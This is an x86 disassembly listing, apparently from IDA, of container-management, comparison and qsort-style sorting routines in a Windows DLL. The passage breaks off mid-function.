sub_69B6D410	proc near		; CODE XREF: sub_69B658C4+29j
					; sub_69B67AEAj ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		test	byte ptr [esi+20h], 4
		jz	short loc_69B6D427
		push	dword ptr [esi+18h]
		push	[esp+8+arg_0]
		call	sub_69B6D2B6
		jmp	short loc_69B6D45C
; ---------------------------------------------------------------------------


loc_69B6D427:				; CODE XREF: sub_69B6D410+7j
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jnz	short loc_69B6D443
		lea	eax, [esi+18h]
		mov	edi, [eax]
		push	0
		push	eax
		call	sub_69B17320
		push	edi
		call	sub_69B693AA


loc_69B6D443:				; CODE XREF: sub_69B6D410+1Ej
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_69B6D452
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+60h]
		mov	edi, eax


loc_69B6D452:				; CODE XREF: sub_69B6D410+38j
		lea	ecx, [esi-10h]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+48h]
		pop	edi


loc_69B6D45C:				; CODE XREF: sub_69B6D410+15j
		pop	esi
		retn	4
sub_69B6D410	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D460	proc near		; DATA XREF: .text:69B29C80o
		push	38h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B6D475
		push	0
		mov	ecx, eax
		call	sub_69B6D3CA
		retn
; ---------------------------------------------------------------------------


loc_69B6D475:				; CODE XREF: sub_69B6D460+9j
		xor	eax, eax
		retn
sub_69B6D460	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D478	proc near		; CODE XREF: sub_69B65EE0+43p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi], 0
		push	edi
		jnz	short loc_69B6D4C8
		push	38h
		call	sub_69B17EF3
		mov	edi, eax
		push	0Ah
		pop	ebx
		mov	ecx, edi
		mov	[edi+8], ebx
		call	sub_69B19118
		push	edi
		push	esi
		mov	dword ptr [edi], offset	off_69B1EE00
		call	sub_69B17320
		push	38h
		call	sub_69B17EF3
		mov	edi, eax
		mov	ecx, edi
		mov	[edi+8], ebx
		call	sub_69B19118
		push	edi
		lea	eax, [esi+4]
		push	eax
		mov	dword ptr [edi], offset	off_69B1EE00
		call	sub_69B17320


loc_69B6D4C8:				; CODE XREF: sub_69B6D478+8j
		mov	ecx, [esi]
		mov	eax, [ecx+8]
		cmp	eax, [esi+8]
		ja	short loc_69B6D4F4
		lea	ebx, [eax+eax]
		push	ebx
		call	sub_69B660A0
		push	eax
		push	esi
		call	sub_69B17320
		lea	edi, [esi+4]
		mov	ecx, [edi]
		push	ebx
		call	sub_69B660A0
		push	eax
		push	edi
		call	sub_69B17320


loc_69B6D4F4:				; CODE XREF: sub_69B6D478+58j
		push	dword ptr [esi+8]
		mov	ecx, [esi]
		call	sub_69B1A954
		push	[esp+0Ch+arg_0]
		push	eax
		call	sub_69B17320
		mov	eax, [esi+8]
		lea	ecx, [eax+1]
		mov	[esi+8], ecx
		mov	ecx, [esi+4]
		push	eax
		call	sub_69B1A954
		cmp	[esp+0Ch+arg_4], 0
		jz	short loc_69B6D532
		push	[esp+0Ch+arg_4]
		mov	edi, eax
		push	0
		call	sub_69B6D2B6
		push	eax
		push	edi
		jmp	short loc_69B6D535
; ---------------------------------------------------------------------------


loc_69B6D532:				; CODE XREF: sub_69B6D478+A7j
		push	0
		push	eax


loc_69B6D535:				; CODE XREF: sub_69B6D478+B8j
		call	sub_69B17320
		and	dword ptr [esi+10h], 0FFFFFFFEh
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B6D478	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6D544	proc near		; CODE XREF: sub_69B658C4+15p
					; sub_69B65FEB+2Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[ebp+arg_0], ecx
		push	edi
		jl	loc_69B6D5E1
		mov	eax, [esi+8]
		cmp	[ebp+arg_0], eax
		mov	[ebp+var_4], eax
		jnb	short loc_69B6D5E1
		lea	edi, [esi+0Ch]
		cmp	[edi], ecx
		jnz	short loc_69B6D5AA
		lea	eax, ds:10h[eax*4]
		push	eax
		call	sub_69B17EF3
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		mov	ecx, ebx
		mov	[ebx+8], eax
		call	sub_69B19118
		push	ebx
		push	edi
		mov	dword ptr [ebx], offset	off_69B13D68
		call	sub_69B17320
		xor	ebx, ebx
		cmp	[esi+8], ebx
		jbe	short loc_69B6D5AA


loc_69B6D59A:				; CODE XREF: sub_69B6D544+64j
		mov	ecx, [edi]
		push	ebx
		call	sub_69B1A954
		mov	[eax], ebx
		inc	ebx
		cmp	ebx, [esi+8]
		jb	short loc_69B6D59A


loc_69B6D5AA:				; CODE XREF: sub_69B6D544+24j
					; sub_69B6D544+54j
		mov	edi, [edi]
		push	[ebp+arg_0]
		mov	ecx, edi
		call	sub_69B1A954
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		mov	edi, [eax]
		jz	short loc_69B6D5CB
		mov	ecx, [esi]
		push	edi
		call	sub_69B1A954
		mov	eax, [eax]
		mov	[ebx], eax


loc_69B6D5CB:				; CODE XREF: sub_69B6D544+79j
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jz	short loc_69B6D5F3
		mov	ecx, [esi+4]
		push	edi
		call	sub_69B1A954
		mov	eax, [eax]
		mov	[ebx], eax
		jmp	short loc_69B6D5F3
; ---------------------------------------------------------------------------


loc_69B6D5E1:				; CODE XREF: sub_69B6D544+Ej
					; sub_69B6D544+1Dj
		mov	eax, [ebp+arg_4]
		cmp	eax, ecx
		jz	short loc_69B6D5EA
		mov	[eax], ecx


loc_69B6D5EA:				; CODE XREF: sub_69B6D544+A2j
		mov	eax, [ebp+arg_8]
		cmp	eax, ecx
		jz	short loc_69B6D5F3
		mov	[eax], ecx


loc_69B6D5F3:				; CODE XREF: sub_69B6D544+8Cj
					; sub_69B6D544+9Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B6D544	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D5FA	proc near		; DATA XREF: sub_69B6D629+53o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	ecx, [esi+4]
		push	edi
		push	dword ptr [eax]
		call	sub_69B1A954
		mov	edi, [eax]
		mov	eax, [esp+8+arg_8]
		push	dword ptr [eax]
		mov	ecx, [esi+4]
		call	sub_69B1A954
		push	dword ptr [eax]
		push	edi
		call	sub_69B6D24C
		pop	edi
		pop	esi
		retn
sub_69B6D5FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D629	proc near		; CODE XREF: sub_69B6D69C+19p
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		push	0
		lea	ebx, [esi+0Ch]
		push	ebx
		call	sub_69B17320
		mov	ebp, [esi+8]
		lea	eax, ds:10h[ebp*4]
		push	eax
		call	sub_69B17EF3
		mov	edi, eax
		mov	ecx, edi
		mov	[edi+8], ebp
		call	sub_69B19118
		push	edi
		push	ebx
		mov	dword ptr [edi], offset	off_69B13D68
		call	sub_69B17320
		xor	edi, edi
		cmp	[esi+8], edi
		jbe	short loc_69B6D67A


loc_69B6D66A:				; CODE XREF: sub_69B6D629+4Fj
		mov	ecx, [ebx]
		push	edi
		call	sub_69B1A954
		mov	[eax], edi
		inc	edi
		cmp	edi, [esi+8]
		jb	short loc_69B6D66A


loc_69B6D67A:				; CODE XREF: sub_69B6D629+3Fj
		mov	eax, [ebx]
		push	offset sub_69B6D5FA
		push	4
		push	dword ptr [esi+8]
		add	eax, 0Ch
		push	eax
		push	esi
		call	sub_69B6DBB2
		or	dword ptr [esi+10h], 1
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_69B6D629	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6D69C	proc near		; CODE XREF: sub_69B65EE0+60p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+8], 1
		jbe	loc_69B6D86F
		test	byte ptr [esi+10h], 1
		jnz	short loc_69B6D6BA
		call	sub_69B6D629


loc_69B6D6BA:				; CODE XREF: sub_69B6D69C+17j
		push	ebx
		push	edi
		mov	edi, [esi+8]
		lea	eax, ds:10h[edi*4]
		push	eax
		call	sub_69B17EF3
		mov	ebx, eax
		mov	ecx, ebx
		mov	[ebx+8], edi
		call	sub_69B19118
		mov	dword ptr [ebx], offset	off_69B1EE00
		mov	edi, [esi+8]
		lea	eax, ds:10h[edi*4]
		push	eax
		call	sub_69B17EF3
		mov	ecx, eax
		mov	[ebp+var_8], eax
		mov	[eax+8], edi
		call	sub_69B19118
		mov	eax, [ebp+var_8]
		xor	edi, edi
		mov	dword ptr [eax], offset	off_69B1EE00
		cmp	[esi+8], edi
		mov	[ebp+var_C], edi
		jbe	loc_69B6D7F9


loc_69B6D712:				; CODE XREF: sub_69B6D69C+110j
		push	[ebp+var_C]
		mov	ecx, [esi+0Ch]
		call	sub_69B1A954
		mov	eax, [eax]
		mov	ecx, [esi+8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	ecx
		cmp	eax, ecx
		jz	loc_69B6D7B4
		mov	ecx, [esi+0Ch]
		inc	eax
		push	eax
		mov	[ebp+var_18], eax
		call	sub_69B1A954
		mov	eax, [eax]
		push	[ebp+var_4]
		mov	ecx, [esi+4]
		mov	[ebp+var_10], eax
		call	sub_69B1A954
		mov	eax, [eax]
		push	[ebp+var_10]
		mov	ecx, [esi+4]
		mov	[ebp+var_C], eax
		call	sub_69B1A954
		push	dword ptr [eax]
		push	[ebp+var_C]
		call	sub_69B6D24C
		test	eax, eax
		jz	short loc_69B6D7A3
		mov	eax, [esi]
		push	edi
		mov	ecx, ebx
		mov	[ebp+var_10], eax
		call	sub_69B1A954
		push	[ebp+var_4]
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_14], eax
		call	sub_69B1A954
		mov	ecx, [ebp+var_14]
		push	eax
		call	sub_69B4D414
		mov	ecx, [ebp+var_8]
		push	edi
		call	sub_69B1A954
		push	[ebp+var_C]
		inc	edi
		push	eax
		call	sub_69B17320


loc_69B6D7A3:				; CODE XREF: sub_69B6D69C+CEj
		mov	eax, [ebp+var_18]
		cmp	eax, [esi+8]
		mov	[ebp+var_C], eax
		jb	loc_69B6D712
		jmp	short loc_69B6D7F9
; ---------------------------------------------------------------------------


loc_69B6D7B4:				; CODE XREF: sub_69B6D69C+8Fj
		mov	eax, [esi]
		push	edi
		mov	ecx, ebx
		mov	[ebp+var_18], eax
		call	sub_69B1A954
		push	[ebp+var_4]
		mov	ecx, [ebp+var_18]
		mov	[ebp+var_14], eax
		call	sub_69B1A954
		mov	ecx, [ebp+var_14]
		push	eax
		call	sub_69B4D414
		mov	ecx, [ebp+var_8]
		push	edi
		call	sub_69B1A954
		push	[ebp+var_4]
		mov	ecx, [esi+4]
		mov	[ebp+var_18], eax
		inc	edi
		call	sub_69B1A954
		mov	ecx, [ebp+var_18]
		push	eax
		call	sub_69B4D414


loc_69B6D7F9:				; CODE XREF: sub_69B6D69C+70j
					; sub_69B6D69C+116j
		push	0
		push	esi
		mov	[esi+8], edi
		call	sub_69B17320
		push	ebx
		push	esi
		call	sub_69B17320
		push	0
		lea	edi, [esi+4]
		push	edi
		call	sub_69B17320
		push	[ebp+var_8]
		push	edi
		call	sub_69B17320
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_69B17320
		mov	edi, [esi+8]
		lea	eax, ds:10h[edi*4]
		push	eax
		call	sub_69B17EF3
		mov	ebx, eax
		mov	ecx, ebx
		mov	[ebx+8], edi
		call	sub_69B19118
		push	ebx
		lea	edi, [esi+0Ch]
		push	edi
		mov	dword ptr [ebx], offset	off_69B13D68
		call	sub_69B17320
		xor	ebx, ebx
		cmp	[esi+8], ebx
		jbe	short loc_69B6D86D


loc_69B6D85D:				; CODE XREF: sub_69B6D69C+1CFj
		mov	ecx, [edi]
		push	ebx
		call	sub_69B1A954
		mov	[eax], ebx
		inc	ebx
		cmp	ebx, [esi+8]
		jb	short loc_69B6D85D


loc_69B6D86D:				; CODE XREF: sub_69B6D69C+1BFj
		pop	edi
		pop	ebx


loc_69B6D86F:				; CODE XREF: sub_69B6D69C+Dj
		pop	esi
		leave
		retn
sub_69B6D69C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D872	proc near		; CODE XREF: sub_69B68FF7+61p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		cmp	esi, edi
		jz	short loc_69B6D8DA
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+64h]
		test	eax, eax
		jz	short loc_69B6D8DA
		test	esi, esi
		jz	short loc_69B6D8D6
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+64h]
		mov	ebx, eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+64h]
		cmp	ebx, eax
		jz	short loc_69B6D8D6
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	ebx, eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0B4h]
		cmp	ebx, eax
		jnz	short loc_69B6D8D6
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+64h]
		jmp	short loc_69B6D8D2
; ---------------------------------------------------------------------------


loc_69B6D8C7:				; CODE XREF: sub_69B6D872+62j
		cmp	eax, edi
		jz	short loc_69B6D8DA
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+64h]


loc_69B6D8D2:				; CODE XREF: sub_69B6D872+53j
		test	eax, eax
		jnz	short loc_69B6D8C7


loc_69B6D8D6:				; CODE XREF: sub_69B6D872+1Cj
					; sub_69B6D872+30j ...
		xor	al, al
		jmp	short loc_69B6D8DC
; ---------------------------------------------------------------------------


loc_69B6D8DA:				; CODE XREF: sub_69B6D872+Dj
					; sub_69B6D872+18j ...
		mov	al, 1


loc_69B6D8DC:				; CODE XREF: sub_69B6D872+66j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B6D872	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6D8E2	proc near		; CODE XREF: sub_69B67BAE+14p
					; sub_69B6816F+2Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+64h]
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B6D903
		push	eax
		push	[ebp+arg_4]
		call	sub_69B6D1E0
		jmp	short loc_69B6D96C
; ---------------------------------------------------------------------------


loc_69B6D903:				; CODE XREF: sub_69B6D8E2+14j
		mov	eax, [edi]
		push	ebx
		mov	ecx, edi
		call	dword ptr [eax+44h]
		cmp	eax, 0Fh
		setz	byte ptr [ebp+arg_0+3]
		and	[ebp+var_4], 0
		mov	eax, [esi]
		xor	ebx, ebx
		lea	ecx, [ebp+var_4]
		inc	ebx
		cmp	byte ptr [ebp+arg_0+3],	0
		push	ecx
		mov	ecx, esi
		jz	short loc_69B6D92F
		call	dword ptr [eax+9Ch]
		jmp	short loc_69B6D957
; ---------------------------------------------------------------------------


loc_69B6D92F:				; CODE XREF: sub_69B6D8E2+43j
		call	dword ptr [eax+68h]
		mov	ebx, 40000001h
		jmp	short loc_69B6D957
; ---------------------------------------------------------------------------


loc_69B6D939:				; CODE XREF: sub_69B6D8E2+77j
		cmp	eax, edi
		jz	short loc_69B6D95B
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		inc	ebx
		cmp	byte ptr [ebp+arg_0+3],	0
		push	ecx
		mov	ecx, esi
		jz	short loc_69B6D954
		call	dword ptr [eax+0A0h]
		jmp	short loc_69B6D957
; ---------------------------------------------------------------------------


loc_69B6D954:				; CODE XREF: sub_69B6D8E2+68j
		call	dword ptr [eax+6Ch]


loc_69B6D957:				; CODE XREF: sub_69B6D8E2+4Bj
					; sub_69B6D8E2+55j ...
		test	eax, eax
		jnz	short loc_69B6D939


loc_69B6D95B:				; CODE XREF: sub_69B6D8E2+59j
		push	[ebp+arg_4]
		push	esi
		call	sub_69B6D8E2
		push	ebx
		push	eax
		call	sub_69B6D1E0
		pop	ebx


loc_69B6D96C:				; CODE XREF: sub_69B6D8E2+1Fj
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B6D8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D972	proc near		; CODE XREF: sub_69B681B0+152p
					; sub_69B68CF3+12p ...
		dec	dword ptr [ecx+4]
		retn
sub_69B6D972	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D976	proc near		; CODE XREF: sub_69B6D994+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		lea	eax, [esi+esi*2]
		lea	eax, [ecx+eax*8]
		push	eax
		call	sub_69B17EF3
		mov	[eax+8], esi
		pop	esi
		retn
sub_69B6D976	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D990	proc near		; DATA XREF: .text:69B14070o
		push	18h
		pop	eax
		retn
sub_69B6D990	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D994	proc near		; CODE XREF: sub_69B6D9D2+3Fp
					; sub_69B6DAF7+3Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	edi, ecx
		push	10h
		call	sub_69B6D976
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_69B6D9BA
		mov	ecx, esi
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B14038
		jmp	short loc_69B6D9BC
; ---------------------------------------------------------------------------


loc_69B6D9BA:				; CODE XREF: sub_69B6D994+15j
		xor	esi, esi


loc_69B6D9BC:				; CODE XREF: sub_69B6D994+24j
		push	0
		push	edi
		push	dword ptr [edi+8]
		mov	ecx, esi
		push	0
		call	sub_69B2E6E3
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6D994	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D9D2	proc near		; CODE XREF: sub_69B68A03+D6p
					; sub_69B68A03+13Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, ecx
		mov	ecx, [esi]
		test	ecx, ecx
		jnz	short loc_69B6DA06
		push	edi
		push	0D0h
		call	sub_69B17EF3
		mov	edi, eax
		mov	ecx, edi
		mov	dword ptr [edi+8], 8
		call	sub_69B19118
		push	edi
		push	esi
		mov	dword ptr [edi], offset	off_69B14038
		call	sub_69B17320
		pop	edi
		jmp	short loc_69B6DA1D
; ---------------------------------------------------------------------------


loc_69B6DA06:				; CODE XREF: sub_69B6D9D2+7j
		mov	eax, [ecx+8]
		cmp	[esi+4], eax
		jl	short loc_69B6DA1D
		add	eax, eax
		push	eax
		call	sub_69B6D994
		push	eax
		push	esi
		call	sub_69B17320


loc_69B6DA1D:				; CODE XREF: sub_69B6D9D2+32j
					; sub_69B6D9D2+3Aj
		mov	eax, [esi+4]
		lea	ecx, [eax+1]
		mov	[esi+4], ecx
		mov	ecx, [esi]
		push	eax
		call	sub_69B6871B
		push	0
		push	[esp+8+arg_8]
		mov	esi, eax
		push	[esp+0Ch+arg_4]
		mov	ecx, esi
		push	[esp+10h+arg_0]
		call	sub_69B67EB9
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B6D9D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DA4B	proc near		; CODE XREF: sub_69B681B0+11Bp
					; sub_69B68A03+DDp ...
		mov	eax, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		dec	eax
		push	eax
		call	sub_69B6871B
		retn
sub_69B6DA4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DA5A	proc near		; CODE XREF: sub_69B6DAE7+8p
					; sub_69B6DAF7+62p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		mov	esi, ecx
		call	sub_69B67A49
		lea	eax, [edi+4]
		push	eax
		lea	ecx, [esi+4]
		call	sub_69B67A49
		mov	eax, [edi+8]
		mov	[esi+8], eax
		lea	eax, [esi+0Ch]
		mov	ecx, [eax]
		xor	ecx, [edi+0Ch]
		add	edi, 14h
		and	ecx, 1
		xor	[eax], ecx
		mov	ecx, [eax]
		mov	edx, [edi-8]
		xor	edx, ecx
		and	edx, 2
		xor	edx, ecx
		mov	[eax], edx
		mov	eax, [edi-4]
		push	edi
		lea	ecx, [esi+14h]
		mov	[esi+10h], eax
		call	sub_69B4D414
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6DA5A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DAAE	proc near		; CODE XREF: sub_69B68A03+98p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		xor	edi, edi
		cmp	[esp+8+arg_0], edi
		mov	esi, ecx
		jz	short loc_69B6DADC
		mov	eax, [esi+4]
		cmp	eax, edi
		jz	short loc_69B6DADC
		jle	short loc_69B6DADC


loc_69B6DAC3:				; CODE XREF: sub_69B6DAAE+2Cj
		mov	ecx, [esi]
		push	edi
		call	sub_69B6871B
		mov	eax, [eax]
		and	eax, 0FFFFFFFEh
		cmp	[esp+8+arg_0], eax
		jz	short loc_69B6DAE3
		inc	edi
		cmp	edi, [esi+4]
		jl	short loc_69B6DAC3


loc_69B6DADC:				; CODE XREF: sub_69B6DAAE+Aj
					; sub_69B6DAAE+11j ...
		xor	al, al


loc_69B6DADE:				; CODE XREF: sub_69B6DAAE+37j
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B6DAE3:				; CODE XREF: sub_69B6DAAE+26j
		mov	al, 1
		jmp	short loc_69B6DADE
sub_69B6DAAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DAE7	proc near		; DATA XREF: .text:69B14074o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	ecx, [esp+4+arg_0]
		call	sub_69B6DA5A
		retn	8
sub_69B6DAE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DAF7	proc near		; CODE XREF: sub_69B681B0+19Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esi]
		test	ecx, ecx
		jnz	short loc_69B6DB2B
		push	edi
		push	0D0h
		call	sub_69B17EF3
		mov	edi, eax
		mov	ecx, edi
		mov	dword ptr [edi+8], 8
		call	sub_69B19118
		push	edi
		push	esi
		mov	dword ptr [edi], offset	off_69B14038
		call	sub_69B17320
		pop	edi
		jmp	short loc_69B6DB42
; ---------------------------------------------------------------------------


loc_69B6DB2B:				; CODE XREF: sub_69B6DAF7+7j
		mov	eax, [ecx+8]
		cmp	[esi+4], eax
		jl	short loc_69B6DB42
		add	eax, eax
		push	eax
		call	sub_69B6D994
		push	eax
		push	esi
		call	sub_69B17320


loc_69B6DB42:				; CODE XREF: sub_69B6DAF7+32j
					; sub_69B6DAF7+3Aj
		mov	eax, [esi+4]
		push	[esp+4+arg_0]
		lea	ecx, [eax+1]
		mov	[esi+4], ecx
		mov	ecx, [esi]
		push	eax
		call	sub_69B6871B
		mov	ecx, eax
		call	sub_69B6DA5A
		mov	ecx, [esi]
		mov	esi, [esi+4]
		dec	esi
		push	esi
		call	sub_69B6871B
		pop	esi
		retn	4
sub_69B6DAF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DB6E	proc near		; DATA XREF: .text:69B1406Co
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		test	eax, eax
		push	edi
		lea	edi, [esi+0Ch]
		jz	short loc_69B6DB8D
		push	ebx
		mov	ebx, eax


loc_69B6DB7F:				; CODE XREF: sub_69B6DB6E+1Cj
		mov	ecx, edi
		call	sub_69B67F74
		add	edi, 18h
		dec	ebx
		jnz	short loc_69B6DB7F
		pop	ebx


loc_69B6DB8D:				; CODE XREF: sub_69B6DB6E+Cj
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B6DB6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6DB96	proc near		; CODE XREF: sub_69B6DBB2+76p
					; sub_69B6DBB2+93p ...
		cmp	eax, ecx
		push	esi
		mov	esi, edx
		jz	short loc_69B6DBB0
		test	esi, esi
		jz	short loc_69B6DBB0
		push	ebx


loc_69B6DBA2:				; CODE XREF: sub_69B6DB96+17j
		mov	bl, [ecx]
		mov	dl, [eax]
		mov	[eax], bl
		inc	eax
		mov	[ecx], dl
		inc	ecx
		dec	esi
		jnz	short loc_69B6DBA2
		pop	ebx


loc_69B6DBB0:				; CODE XREF: sub_69B6DB96+5j
					; sub_69B6DB96+9j
		pop	esi
		retn
sub_69B6DB96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=64h


sub_69B6DBB2	proc near		; CODE XREF: sub_69B6BCF3+2BCp
					; sub_69B6D629+62p ...

var_F8		= dword	ptr -0F8h
var_80		= dword	ptr -80h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		lea	ebp, [esp-64h]
		sub	esp, 0F8h
		push	esi
		mov	esi, [ebp+64h+arg_8]
		cmp	esi, 2
		jb	loc_69B6DD21
		push	edi
		mov	edi, [ebp+64h+arg_C]
		test	edi, edi
		jz	loc_69B6DD20
		and	[ebp+64h+arg_8], 0
		dec	esi
		imul	esi, edi
		push	ebx
		mov	ebx, [ebp+64h+arg_4]
		add	esi, ebx


loc_69B6DBE4:				; CODE XREF: sub_69B6DBB2+14Aj
					; sub_69B6DBB2+168j
		mov	eax, esi
		sub	eax, ebx
		xor	edx, edx
		div	edi
		inc	eax
		cmp	eax, 8
		ja	short loc_69B6DC3A
		cmp	esi, ebx
		mov	[ebp+64h+var_4], esi
		jbe	loc_69B6DD04


loc_69B6DBFD:				; CODE XREF: sub_69B6DBB2+81j
		mov	[ebp+64h+var_8], ebx
		lea	esi, [ebx+edi]
		jmp	short loc_69B6DC1B
; ---------------------------------------------------------------------------


loc_69B6DC05:				; CODE XREF: sub_69B6DBB2+6Cj
		push	[ebp+64h+var_8]
		push	esi
		push	[ebp+64h+arg_0]
		call	[ebp+64h+arg_10]
		add	esp, 0Ch
		test	eax, eax
		jle	short loc_69B6DC19
		mov	[ebp+64h+var_8], esi


loc_69B6DC19:				; CODE XREF: sub_69B6DBB2+62j
		add	esi, edi


loc_69B6DC1B:				; CODE XREF: sub_69B6DBB2+51j
		cmp	esi, [ebp+64h+var_4]
		jbe	short loc_69B6DC05
		mov	ecx, [ebp+64h+var_4]
		mov	eax, [ebp+64h+var_8]
		mov	edx, edi
		call	sub_69B6DB96
		sub	[ebp+64h+var_4], edi
		cmp	[ebp+64h+var_4], ebx
		ja	short loc_69B6DBFD
		jmp	loc_69B6DD04
; ---------------------------------------------------------------------------


loc_69B6DC3A:				; CODE XREF: sub_69B6DBB2+3Ej
		shr	eax, 1
		imul	eax, edi
		add	eax, ebx
		mov	edx, edi
		mov	ecx, ebx
		call	sub_69B6DB96
		mov	[ebp+64h+var_4], ebx
		add	edi, esi


loc_69B6DC4F:				; CODE XREF: sub_69B6DBB2+B7j
					; sub_69B6DBB2+E0j
		mov	eax, [ebp+64h+var_4]
		add	eax, [ebp+64h+arg_C]
		cmp	eax, esi
		mov	[ebp+64h+var_4], eax
		ja	short loc_69B6DC6B
		push	ebx
		push	eax
		push	[ebp+64h+arg_0]
		call	[ebp+64h+arg_10]
		add	esp, 0Ch
		test	eax, eax
		jle	short loc_69B6DC4F


loc_69B6DC6B:				; CODE XREF: sub_69B6DBB2+A8j
					; sub_69B6DBB2+CDj
		sub	edi, [ebp+64h+arg_C]
		cmp	edi, ebx
		jbe	short loc_69B6DC81
		push	ebx
		push	edi
		push	[ebp+64h+arg_0]
		call	[ebp+64h+arg_10]
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_69B6DC6B


loc_69B6DC81:				; CODE XREF: sub_69B6DBB2+BEj
		mov	eax, [ebp+64h+var_4]
		cmp	edi, eax
		mov	edx, [ebp+64h+arg_C]
		mov	ecx, edi
		jb	short loc_69B6DC94
		call	sub_69B6DB96
		jmp	short loc_69B6DC4F
; ---------------------------------------------------------------------------


loc_69B6DC94:				; CODE XREF: sub_69B6DBB2+D9j
		mov	eax, ebx
		call	sub_69B6DB96
		mov	eax, [ebp+64h+var_4]
		mov	ecx, edi
		sub	ecx, ebx
		mov	edx, esi
		dec	ecx
		sub	edx, eax
		cmp	ecx, edx
